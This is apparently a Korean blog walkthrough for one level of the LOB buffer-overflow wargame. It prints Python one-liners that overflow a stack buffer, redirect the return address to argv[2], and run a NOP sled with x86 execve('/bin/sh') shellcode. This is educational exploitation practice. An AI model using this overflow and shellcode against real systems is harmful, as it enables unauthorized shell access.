코드를 먼저 보면, 전문제에서 추가된 부분이 buffer hunter 부분인데, buffer을 초기화 시켜버립니다.
그러면 buffer에 shellcode를 넣고 ret를 buffer주소로 돌려봤자 실행이 안된다는 이야기인데,
어짜피 저희는 argv[2]로 돌릴거니 상관 없습니다!
저번처럼 소스코드를 하나 복사해 주시고, 맨 밑에
printf("%p\n", argv[2]);
를 추가해 주고,
./exp `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + " " + "\x90"*1000+"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`
실행 시켜 봅시다.
그럼 이렇게 argv[2] 주소가 나오고, 이를 바탕으로 공격을 하면
./wolfman `python -c 'print "A"*44[ buffer + SFP ] + "\x74\xf8\xff\xbf"[ RET ; argv[2] 주소로 ] + " " + "\x90"*1000[ NOP ]+
"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"[ shellcode ]'`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level7] darkelf -> orge (0) | 2017.05.17 |
---|---|
[Level6] wolfman -> darkelf (0) | 2017.05.17 |
[Level4] goblin -> orc (0) | 2017.05.17 |
클리어! (0) | 2017.05.17 |
[Level3]cobolt -> goblin (2) | 2017.05.02 |